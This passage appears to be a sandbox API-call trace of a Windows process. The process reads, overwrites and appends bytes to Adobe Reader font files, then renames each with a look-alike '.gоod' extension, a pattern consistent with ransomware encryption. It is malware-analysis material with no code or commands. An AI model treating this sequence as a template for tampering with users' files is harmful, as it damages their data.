lpOldMode=0x1fced6f0) returned 1 [0095.287] GetFileType (hFile=0x7c4) returned 0x1 [0095.287] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x9294 [0095.287] WriteFile (in: hFile=0x7c4, lpBuffer=0x3526e90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x3526e90*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0095.288] CloseHandle (hObject=0x7c4) returned 1 [0095.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.288] GetFileType (hFile=0x7c4) returned 0x1 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.288] GetFileType (hFile=0x7c4) returned 0x1 [0095.288] ReadFile (in: hFile=0x7c4, lpBuffer=0x35291a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x35291a0*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0095.798] CloseHandle (hObject=0x7c4) returned 1 [0095.798] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.799] GetFileType (hFile=0x7c4) returned 0x1 [0095.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.799] GetFileType (hFile=0x7c4) returned 0x1 [0095.799] WriteFile (in: hFile=0x7c4, lpBuffer=0x3527ed8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3527ed8*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0095.799] CloseHandle (hObject=0x7c4) returned 1 [0095.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf.gоod", lpFilePart=0x0) returned 0x55 [0095.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0095.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x354f9d82, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x92a4)) returned 1 [0095.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0095.799] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf.gоod")) returned 1 [0095.800] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0095.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0095.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), fInfoLevelId=0x0, lpFileInformation=0x37e6e88 | out: lpFileInformation=0x37e6e88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9848)) returned 1 [0095.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0095.800] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0095.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.801] GetFileType (hFile=0x7c4) returned 0x1 [0095.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.801] GetFileType (hFile=0x7c4) returned 0x1 [0095.801] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0095.801] ReadFile (in: hFile=0x7c4, lpBuffer=0x37e7310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x37e7310*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0095.804] CloseHandle (hObject=0x7c4) returned 1 [0095.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0095.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.804] GetFileType (hFile=0x7c4) returned 0x1 [0095.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.804] GetFileType (hFile=0x7c4) returned 0x1 [0095.804] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x9848 [0095.805] WriteFile (in: hFile=0x7c4, lpBuffer=0x37e85e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x37e85e0*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0095.805] CloseHandle (hObject=0x7c4) returned 1 [0095.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0095.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.806] GetFileType (hFile=0x7c4) returned 0x1 [0095.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.806] GetFileType (hFile=0x7c4) returned 0x1 [0095.806] ReadFile (in: hFile=0x7c4, lpBuffer=0x37ea8d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x37ea8d8*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0096.146] CloseHandle (hObject=0x7c4) returned 1 [0096.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0096.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.147] GetFileType (hFile=0x7c4) returned 0x1 [0096.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.147] GetFileType (hFile=0x7c4) returned 0x1 [0096.147] WriteFile (in: hFile=0x7c4, lpBuffer=0x34e11f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x34e11f0*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0096.147] CloseHandle (hObject=0x7c4) returned 1 [0096.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf", lpFilePart=0x0) returned 0x57 [0096.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf.gоod", lpFilePart=0x0) returned 0x5c [0096.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0096.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x35867353, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9858)) returned 1 [0096.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0096.147] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-BoldOblique.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-boldoblique.otf.gоod")) returned 1 [0096.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0096.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), fInfoLevelId=0x0, lpFileInformation=0x3626d28 | out: lpFileInformation=0x3626d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x99a4)) returned 1 [0096.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0096.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.149] GetFileType (hFile=0x7c4) returned 0x1 [0096.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.149] GetFileType (hFile=0x7c4) returned 0x1 [0096.149] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0096.149] ReadFile (in: hFile=0x7c4, lpBuffer=0x3627190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3627190*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0096.150] CloseHandle (hObject=0x7c4) returned 1 [0096.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.151] GetFileType (hFile=0x7c4) returned 0x1 [0096.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.151] GetFileType (hFile=0x7c4) returned 0x1 [0096.151] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x99a4 [0096.151] WriteFile (in: hFile=0x7c4, lpBuffer=0x36284c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x36284c0*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0096.152] CloseHandle (hObject=0x7c4) returned 1 [0096.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.152] GetFileType (hFile=0x7c4) returned 0x1 [0096.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.152] GetFileType (hFile=0x7c4) returned 0x1 [0096.152] ReadFile (in: hFile=0x7c4, lpBuffer=0x362a7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x362a7d8*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0096.622] CloseHandle (hObject=0x7c4) returned 1 [0096.622] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.622] GetFileType (hFile=0x7c4) returned 0x1 [0096.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.622] GetFileType (hFile=0x7c4) returned 0x1 [0096.623] WriteFile (in: hFile=0x7c4, lpBuffer=0x351e230*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x351e230*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0096.623] CloseHandle (hObject=0x7c4) returned 1 [0096.623] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf", lpFilePart=0x0) returned 0x53 [0096.623] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf.gоod", lpFilePart=0x0) returned 0x58 [0096.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0096.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x35cdf96f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x99b4)) returned 1 [0096.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0096.623] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Oblique.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-oblique.otf.gоod")) returned 1 [0096.624] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0096.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), fInfoLevelId=0x0, lpFileInformation=0x36482f8 | out: lpFileInformation=0x36482f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x93e4)) returned 1 [0096.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0096.624] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.624] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0096.625] GetFileType (hFile=0x7c4) returned 0x1 [0096.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0096.625] GetFileType (hFile=0x7c4) returned 0x1 [0096.625] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0096.625] ReadFile (in: hFile=0x7c4, lpBuffer=0x3648720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3648720*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0096.626] CloseHandle (hObject=0x7c4) returned 1 [0096.626] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd.otf", lpFilePart=0x0) returned 0x4b [0096.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0096.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 